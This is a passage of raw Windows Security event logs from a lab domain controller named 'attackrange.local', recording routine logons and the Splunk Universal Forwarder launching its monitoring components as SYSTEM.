ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:23:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256465 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x478 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:23:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256466 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc40 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:23:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256467 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x40678B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:23:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256470 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x40C524 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:23:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256469 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x40C524 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 65279 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:23:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256468 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x40C524 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:24:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256471 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe4c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:24:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256473 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf8c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:24:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256472 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf80 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:24:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256474 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13b8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:24:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256475 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:24:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256476 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7dc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:24:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256477 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4d4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:24:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256478 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4047CB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:24:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256481 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x40FB09 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:24:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256480 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x40FB09 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 65293 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:24:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256479 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x40FB09 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:25:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256483 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:25:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256482 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10e8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:25:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256484 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe70 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:25:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256485 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2e4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:25:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256486 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1080 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:25:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256487 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb90 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program 